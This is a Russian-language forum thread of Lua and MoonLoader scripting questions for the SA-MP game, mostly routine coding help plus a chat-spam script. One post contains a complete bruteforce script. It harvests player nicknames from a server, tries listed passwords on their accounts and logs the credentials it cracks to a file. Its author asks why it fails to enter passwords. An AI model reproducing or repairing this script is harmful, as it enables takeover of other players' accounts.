Вопросы по Lua скриптингу

Общая тема для вопросов по разработке скриптов на языке программирования Lua, в частности под MoonLoader.
  • Задавая вопрос, убедитесь, что его нет в списке частых вопросов и что на него ещё не отвечали (воспользуйтесь поиском).
  • Поищите ответ в теме посвященной разработке Lua скриптов в MoonLoader
  • Отвечая, убедитесь, что ваш ответ корректен.
  • Старайтесь как можно точнее выразить мысль, а если проблема связана с кодом, то обязательно прикрепите его к сообщению, используя блок [code=lua]здесь мог бы быть ваш код[/code].
  • Если вопрос связан с MoonLoader-ом первым делом желательно поискать решение на wiki.

Частые вопросы

Как научиться писать скрипты? С чего начать?
Информация - Гайд - Всё о Lua скриптинге для MoonLoader(https://blast.hk/threads/22707/)
Как вывести текст на русском? Вместо русского текста у меня какие-то каракули.
Изменить кодировку файла скрипта на Windows-1251. В Atom: комбинация клавиш Ctrl+Shift+U, в Notepad++: меню Кодировки -> Кодировки -> Кириллица -> Windows-1251.
Как получить транспорт, в котором сидит игрок?
Lua:
local veh = storeCarCharIsInNoSave(PLAYER_PED)
Как получить свой id или id другого игрока?
Lua:
local _, id = sampGetPlayerIdByCharHandle(PLAYER_PED) -- получить свой ид
local _, id = sampGetPlayerIdByCharHandle(ped) -- получить ид другого игрока. ped - это хендл персонажа
Как проверить, что строка содержит какой-то текст?
Lua:
if string.find(str, 'текст', 1, true) then
-- строка str содержит "текст"
end
Как эмулировать нажатие игровой клавиши?
Lua:
local game_keys = require 'game.keys' -- где-нибудь в начале скрипта вне функции main

setGameKeyState(game_keys.player.FIREWEAPON, -1) -- будет сэмулировано нажатие клавиши атаки
Все иды клавиш находятся в файле moonloader/lib/game/keys.lua.
Подробнее о функции setGameKeyState здесь: lua - setgamekeystate | BlastHack — DEV_WIKI(https://www.blast.hk/wiki/lua:setgamekeystate)
Как получить id другого игрока, в которого целюсь я?
Lua:
local valid, ped = getCharPlayerIsTargeting(PLAYER_HANDLE) -- получить хендл персонажа, в которого целится игрок
if valid and doesCharExist(ped) then -- если цель есть и персонаж существует
  local result, id = sampGetPlayerIdByCharHandle(ped) -- получить samp-ид игрока по хендлу персонажа
  if result then -- проверить, прошло ли получение ида успешно
    -- здесь любые действия с полученным идом игрока
  end
end
Как зарегистрировать команду чата SAMP?
Lua:
-- До бесконечного цикла/задержки
sampRegisterChatCommand("mycommand", function (param)
     -- param будет содержать весь текст введенный после команды, чтобы разделить его на аргументы используйте string.match()
    sampAddChatMessage("MyCMD", -1)
end)
Крашит игру при вызове sampSendChat. Как это исправить?
Это происходит из-за бага в SAMPFUNCS, когда производится попытка отправки пакета определенными функциями изнутри события исходящих RPC и пакетов. Исправления для этого бага нет, но есть способ не провоцировать его. Вызов sampSendChat изнутри обработчика исходящих RPC/пакетов нужно обернуть в скриптовый поток с нулевой задержкой:
Lua:
function onSendRpc(id)
  -- крашит:
  -- sampSendChat('Send RPC: ' .. id)

  -- норм:
  lua_thread.create(function()
    wait(0)
    sampSendChat('Send RPC: ' .. id)
  end)
end
 
Последнее редактирование:

D3vel0per

Участник
61
38
По цвету строки чата
Ну тогда
Lua:
  if text:find("Отредактировал сотрудник СМИ [ LS ] :") and color == color then
    lua_thread.create(function() wait(200)
     autostate = 2
     namestate.v = "SF"
    end)
  end
[/QUOTE]
Lua:
  if text:find("SF") and color == 7974251   then
    lua_thread.create(function() wait(200)
     autostate = 2
     namestate.v = "SF"
    end)
  end
Или я уволень или шо, не происходит ничего при поиске со цветом
 
Вопрос: если я сделаю к команде действие делать переменную YaEblan = тру и сделаю два блока "Когда YaEblan тру тогда", оно будет читать 1 блок или будет одновременно выполнять оба блока?
 

ARMOR

Я креветка
Модератор
5,068
7,374
мы знаем, что ты еблан
Выполнит тот что вызывается первым(К примеру в цикле стоит выше другого), а потом перейдет ко второму.

Lua:
while true do
    wait(0)
    if test then
        -- Это действие выполнится первым
    end
    if test then
        -- Это действие выполнится вторым
    end
end

Lua:
local enable = false

sampRegisterChatCommand("enable", function
    enable = not enable
    Foo()
    Foo2()
end)

function Foo()
    if enable then
        -- Это действие выполнится первым
    end
end

function Foo2()
    if enable then
        -- Это действие выполнится вторым
    end
end
 

kin4stat

mq-team · kin4@naebalovo.team
Всефорумный модератор
2,762
4,891
как в бесконечном потоке маина, или в отдельной функции проверять если зажата клавиша F2 в течении 3х секунд, то ...
isKeyDown(VK_F2) просто нажата ли, а надо зажата на 3 сек
Если на событиях - при первом нажатии сохраняешь время нажатия, в бесконечном цикле проверяешь, прошло ли 3 секунды.
Если без событий - цикле крутишь isKeyDown. Когда стало true - сохраняешь время нажатия. Каждую итерацию проверяешь нажата ли клавиша. Если отжалась и прошло меньше 3 секунд - значит не реагируем, если больше - реагируем
 
  • Нравится
Реакции: вайега52

Tango

Новичок
28
4
1677399723000.png

как сделать такое выделение кнопки, после ее нажатия?
 
В таком случае, сомневаюсь, что можно вернуть.


У тебя созданы дубликаты переменных, элементов и и можно запутаться в коде. Я закомментировал лишнее и, вроде как, работать должно.
Lua:
script_name("Спамер для Namalsk Role Play")
script_author("Еблан Накаптезниq")

require 'lib.moonloader'
local imgui = require 'imgui'
local encoding = require 'encoding'

local inicfg = require 'inicfg'
local directIni = "moonloader\\Spammer.ini"
local inicfg = require 'inicfg'
local directIni = 'filename.ini'
local ini = inicfg.load({
    main = {
        spam_message = '/s Куплю любую бирку. Бюджет: 50.123.123. Номер: 28-66-68.'
    },
}, directIni)
inicfg.save(ini, directIni)

encoding.default = 'CP1251'
u8 = encoding.UTF8

local mainIni = inicfg.load(nil, directIni)
local stateIni = inicfg.save(mainIni, directIni)

local enable = false
local timer = -1
local main_window_state = imgui.ImBool(false)
-- local buf = imgui.ImBuffer(mainIni.config.spam_message, 256)
local combo_selected = imgui.ImInt(1)
local combo_list = {u8"Обычный чат", u8"NonRP чат", u8"Вип-чат"}
local spam_message = imgui.ImBuffer(u8(ini.main.spam_message) or '/s Куплю любую бирку. Бюджет: 50.123.123. Номер: 28-66-68.', 256)


function main()
    if not isSampfuncsLoaded() or not isSampLoaded() then return end
    while not isSampAvailable() do wait(100) end
    sampAddChatMessage("{0000FF}[PlayBoy4iq] {FFFFFF} Спамер вновь готов к работе! Активация: {FFFF00}/yaushel", 0xFFF5EE)
   
    sampRegisterChatCommand("imgui", function() main_window_state.v = not main_window_state.v end)
    sampRegisterChatCommand("yaushel", function()
        if enable == true then
            sampAddChatMessage("{0000FF}[PlayBoy4iq]{FFFFFF} Ошибка! Спамер уже активен!", 0xFFF5EE)
        end
            if enable == false then
                enable = true
                sampAddChatMessage("{0000FF}[PlayBoy4iq] {FFFFFF} Спамер активирован! Команда для деактивации: {FFFF00} /yaprishel ", 0xFFF5EE)
            end
        end)
    sampRegisterChatCommand("yaprishel", function()
            if enable == false then
                sampAddChatMessage("{0000FF}[PlayBoy4iq]{FFFFFF} Ошибка! Спамер и так деактивирован!", 0xFFF5EE)
            end
        if enable == true then
            enable = false
            sampAddChatMessage("{0000FF}[PlayBoy4iq] {FFFFFF} Спамер деактивирован! Команда для активации: {FFFF00} /yaushel ", 0xFFF5EE)
        end
    end)
    while true do wait(0)
        imgui.Process = main_window_state.v
   
        if enable then
            local nowTime = os.time()
            if nowTime >= timer then
                sampSendChat(mainIni.config.spam_message)
                timer = nowTime + 25
            end
        end
    end
end

function save()
    inicfg.load(ini, "Spammer.ini")
end


function imgui.OnDrawFrame()
    if main_window_state.v then
        local sw, sh = getScreenResolution()
        imgui.SetNextWindowPos(imgui.ImVec2(sw / 2, sh / 2), imgui.Cond.FirstUseEver, imgui.ImVec2(0.5, 0.5))
        imgui.SetNextWindowSize(imgui.ImVec2(330, 110), imgui.Cond.FirstUseEver)
        imgui.Begin(u8"Настройки", main_window_state)
        if imgui.Combo(u8"Выберите пункт" , combo_selected, combo_list, combo_selected) then
            sampAddChatMessage("Выбран пункт №"..(combo_selected.v + 1).." — "..u8:decode(combo_list[combo_selected.v + 1]), -1)
        end
        if imgui.InputText(u8"Введите что-то", spam_message) then
            ini.main.spam_message = u8:decode(spam_message.v)
            inicfg.save(ini, directIni)
        end
        --if imgui.InputText('your text', text) then
        --    ini.main.text = u8:decode(text.v)
        --    inicfg.save(ini, directIni)
        --end
        imgui.End()
    end
end
Как сделать так, чтобы когда я выбирал 1 из трёх(Imgui.Combo) оно сохранялось и меняло переменную
Пример: когда я выбрал пункт "Вип-чат", то переменная "Chat" менялась на /vr, когда выбрал нонРП чат - /b, а когда обычный чат - /s.
 

YarikVL

Известный
Проверенный
4,721
1,807
Как сделать так, чтобы когда я выбирал 1 из трёх(Imgui.Combo) оно сохранялось и меняло переменную
Пример: когда я выбрал пункт "Вип-чат", то переменная "Chat" менялась на /vr, когда выбрал нонРП чат - /b, а когда обычный чат - /s.
Lua:
script_name("Спамер для Namalsk Role Play")
script_author("Еблан Накаптезниq")

require 'lib.moonloader'
local imgui = require 'imgui'
local encoding = require 'encoding'

local inicfg = require 'inicfg'
local directIni = "moonloader\\Spammer.ini"
local inicfg = require 'inicfg'
local directIni = 'filename.ini'
local ini = inicfg.load({
    main = {
        spam_message = '/s Куплю любую бирку. Бюджет: 50.123.123. Номер: 28-66-68.'
    },
}, directIni)
inicfg.save(ini, directIni)

encoding.default = 'CP1251'
u8 = encoding.UTF8

local mainIni = inicfg.load(nil, directIni)
local stateIni = inicfg.save(mainIni, directIni)

local enable = false
local timer = -1
local main_window_state = imgui.ImBool(false)
-- local buf = imgui.ImBuffer(mainIni.config.spam_message, 256)
local combo_selected = imgui.ImInt(1)
local combo_list = {u8"Обычный чат", u8"NonRP чат", u8"Вип-чат"}
local spam_message = imgui.ImBuffer(u8(ini.main.spam_message) or '/s Куплю любую бирку. Бюджет: 50.123.123. Номер: 28-66-68.', 256)
local chat_list = {"/s ", "/b ", "/vr "}


function main()
    if not isSampfuncsLoaded() or not isSampLoaded() then return end
    while not isSampAvailable() do wait(100) end
    sampAddChatMessage("{0000FF}[PlayBoy4iq] {FFFFFF} Спамер вновь готов к работе! Активация: {FFFF00}/yaushel", 0xFFF5EE)
  
    sampRegisterChatCommand("imgui", function() main_window_state.v = not main_window_state.v end)
    sampRegisterChatCommand("yaushel", function()
        if enable == true then
            sampAddChatMessage("{0000FF}[PlayBoy4iq]{FFFFFF} Ошибка! Спамер уже активен!", 0xFFF5EE)
        end
            if enable == false then
                enable = true
                sampAddChatMessage("{0000FF}[PlayBoy4iq] {FFFFFF} Спамер активирован! Команда для деактивации: {FFFF00} /yaprishel ", 0xFFF5EE)
            end
        end)
    sampRegisterChatCommand("yaprishel", function()
            if enable == false then
                sampAddChatMessage("{0000FF}[PlayBoy4iq]{FFFFFF} Ошибка! Спамер и так деактивирован!", 0xFFF5EE)
            end
        if enable == true then
            enable = false
            sampAddChatMessage("{0000FF}[PlayBoy4iq] {FFFFFF} Спамер деактивирован! Команда для активации: {FFFF00} /yaushel ", 0xFFF5EE)
        end
    end)
    while true do wait(0)
        imgui.Process = main_window_state.v
        if combo_selected.v then
            sampAddChatMessage((chat_list[combo_selected.v + 1])..ini.main.spam_message, -1)
            wait(500)
        end
        if enable then
            local nowTime = os.time()
            if nowTime >= timer then
                sampSendChat(mainIni.config.spam_message)
                timer = nowTime + 25
            end
        end
    end
end

function save()
    inicfg.load(ini, "Spammer.ini")
end


function imgui.OnDrawFrame()
    if main_window_state.v then
        local sw, sh = getScreenResolution()
        imgui.SetNextWindowPos(imgui.ImVec2(sw / 2, sh / 2), imgui.Cond.FirstUseEver, imgui.ImVec2(0.5, 0.5))
        imgui.SetNextWindowSize(imgui.ImVec2(330, 110), imgui.Cond.FirstUseEver)
        imgui.Begin(u8"Настройки", main_window_state)
        if imgui.Combo(u8"Выберите пункт" , combo_selected, combo_list, combo_selected) then
            sampAddChatMessage("Выбран пункт №"..(combo_selected.v + 1).." — "..u8:decode(combo_list[combo_selected.v + 1]), -1)
        end
        if imgui.InputText(u8"Введите что-то", spam_message) then
            ini.main.spam_message = u8:decode(spam_message.v)
            inicfg.save(ini, directIni)
        end
        --if imgui.InputText('your text', text) then
        --    ini.main.text = u8:decode(text.v)
        --    inicfg.save(ini, directIni)
        --end
        imgui.End()
    end
end
Так имеешь ввиду? 62 строка выводит к тебе команду из первого инпута например: /vr и потом текст который ты указываешь во втором инпуте
 
  • Злость
  • Вау
Реакции: вайега52 и qdIbp

вайега52

Налуашил состояние
Модератор
2,979
3,097
Как сделать так, чтобы когда я выбирал 1 из трёх(Imgui.Combo) оно сохранялось и меняло переменную
Пример: когда я выбрал пункт "Вип-чат", то переменная "Chat" менялась на /vr, когда выбрал нонРП чат - /b, а когда обычный чат - /s.

Lua:
------- в начале кода, вне функций

local chats = {"vr", "b"}

------- в функции имгуи

if imgui.Combo("Chat", переменная имгуи) then
    Chat = "/%s":format(chats[переменная имгуи.v]) -- тут мы используем функцию string.format() для того, чтобы соединить две строки
end
 

MLycoris

На вид оружие массового семяизвержения
Проверенный
1,975
2,211
Посмотреть вложение 191366
как сделать такое выделение кнопки, после ее нажатия?
 

bantox

Новичок
6
0
В чем проблема? Ники парсит, заходит под ними, но на диалоги никак не реагирует, не вводит пароли.

Lua:
script_name("Bruteforce")
script_description("SAMP Bruteforce. I personally think it's shit.")
script_authors("Shamanije")

local sampev = require 'lib.samp.events'

local dirway = 'moonloader/config/bruter'
local nxt = false
local active = false
local attemp = 0
local timer = 0
local recount = 0
local pause = false

local passTable = {'123qwe', '123456'}

if not doesDirectoryExist(dirway) then
    createDirectory(dirway)
end

function main()
    if not isSampLoaded() or not isSampfuncsLoaded() then return end
    while not isSampAvailable() do wait(100) end
    sampRegisterChatCommand('scan', scanPlayers)
    sampRegisterChatCommand('brute', brutePlayers)
    sampRegisterChatCommand('pause', pauseBrute)
    while true do
        if active then
            if sampGetGamestate() == 5 or sampGetGamestate() == 3 then
                timer = timer + 1
                if timer == 200 and sampGetGamestate() == 5 then
                    timer = 0
                    nxt = true
                elseif timer == 500 and sampGetGamestate() == 3 then
                    timer = 0
                    nxt = true
                end
            else
                timer = 0
            end
        end
        wait(10)
    end
end

function onReceivePacket(id)
    if active and (id == 36 or id == 32 or id == 37) then
        recount = recount + 1
        if recount == 3 then
            recount = 0
            sampDisconnectWithReason(false)
            lua_thread.create(function()
                printStringNow('~b~~h~~h~~h~SMTHNG WENT WRONG, 10 SECS COOLDOWN', 2000)
                nxt = false
                wait(10000)
                nxt = true
            end)
        end
    end
end

function sampev.onShowDialog(id, style, title, b1, b2, text)
    if active and id < 3 then
        attemp = attemp + 1
        if attemp == #passTable+1 then
            nxt = true
        else
            password = passTable[attemp]
            sampSendDialogResponse(id, 1, -1, password)
            printStringNow('~b~~h~~h~~h~ENTERING PASSWORD ~y~~h~~h~'..password, 1000)
        end
        return false
    end
end

function sampev.onConnectionRejected(reason)
    if active then
        nxt = true
    end
end

function sampev.onSetSpawnInfo()
    if active then
        local f = io.open(dirway..'/brutedAccs.txt', 'a+')
        if f then
            local server = sampGetCurrentServerName()
            local ip, port = sampGetCurrentServerAddress()
            f:write(fnick..'='..password..';'..server..';'..ip..':'..port..'\n')
            f:close()
        end
        nxt = true
    end
end

function sampev.onRemoveBuilding()
    if active then
        return false
    end
end

function sampev.onCreateObject()
    if active then
        return false
    end
end

function scanPlayers()
    local ip, port = sampGetCurrentServerAddress()
    local count = 1
    os.remove(dirway..'/'..ip..'.txt')
    local f = io.open(dirway..'/'..ip..'.txt', 'a+')
    if f then
        lua_thread.create(function()
            for i = 1, sampGetMaxPlayerId(false) do
                if sampIsPlayerConnected(i) and i ~= select(2, sampGetPlayerIdByCharHandle(PLAYER_PED)) then
                    local nick = sampGetPlayerNickname(i)
                    local ip, port = sampGetCurrentServerAddress()
                    wait(1)
                    f:write(nick..'\n')
                    printStringNow('~b~~h~~h~~h~WRITING ID:    ~y~~h~~h~'..i, 1)
                    count = count + 1
                end
            end
            printStringNow('~b~~h~~h~~h~WRITEN ~y~~h~~h~'..count..' ~b~~h~~h~~h~NICKS', 1000)
            f:close()
        end)
    end
end

function brutePlayers(delay)
    active = not active
    if active then
        if delay:match('%d+') then
            local time = tonumber(delay:match('(%d+)'))
        else
            time = 0
        end
        local ip, port = sampGetCurrentServerAddress()
        local f = io.open(dirway..'/'..ip..'.txt', 'r')
        if f then
            lua_thread.create(function()
                for line in f:lines() do
                    if active then
                        sampDisconnectWithReason(false)
                        fnick = line:match('(.+)')
                        sampSetLocalPlayerName(fnick)
                        printStringNow('~r~~h~~h~~h~~h~'..fnick, 2000)
                        wait(time)
                        sampConnectToServer(ip, port)
                        nxt = false
                        attemp = 0
                        while not nxt or pause do
                            wait(10)
                        end
                    end
                end
                active = false
            end)
        else
            printStringNow('~b~~h~~h~~h~NO SUCH FILE EXISTS. USE ~y~~h~~h~/SCAN', 2000)
        end
    else
        printStringNow('~b~~h~~h~~h~BRUTE STOPPED', 2000)
    end
end

function pauseBrute()
    if active then
        pause = not pause
        if pause then
            sampDisconnectWithReason(false)
            printStringNow('~b~~h~~h~~h~BRUTE PAUSED', 2000)
        else
            nxt = true
            printStringNow('~b~~h~~h~~h~BRUTE CONTINUED', 2000)
        end
    end
end
 

Tango

Новичок
28
4
1:
myBuyArray = {{'a', 1, 1},{'b', 1, 1}}
table.insert(myBuyArray, 'c')
Создал трехмерный массив и не получается в него всунуть значение, как я понял оно не может вставить значение и остается nil
attempt to concatenate a nil value
stack traceback:
 

вайега52

Налуашил состояние
Модератор
2,979
3,097
1:
myBuyArray = {{'a', 1, 1},{'b', 1, 1}}
table.insert(myBuyArray, 'c')
Создал трехмерный массив и не получается в него всунуть значение, как я понял оно не может вставить значение и остается nil
attempt to concatenate a nil value
stack traceback:
у меня все работает
1677422075595.png
 

ARMOR

Я креветка
Модератор
5,068
7,374
1:
myBuyArray = {{'a', 1, 1},{'b', 1, 1}}
table.insert(myBuyArray, 'c')
Создал трехмерный массив и не получается в него всунуть значение, как я понял оно не может вставить значение и остается nil
attempt to concatenate a nil value
stack traceback:
В фигурных скобках вставляй в таблицу
1677422069607.png

1677422180075.png

Lua:
local arr = {
    {"a", 1, 0},
    {"b", 0, 1},
}

table.insert(arr, {"c", 1, 1})

print(arr[3][1])

Ты создаешь не ещё одну таблицу внутри массива, а обычный елемент.
 
  • Нравится
Реакции: Tango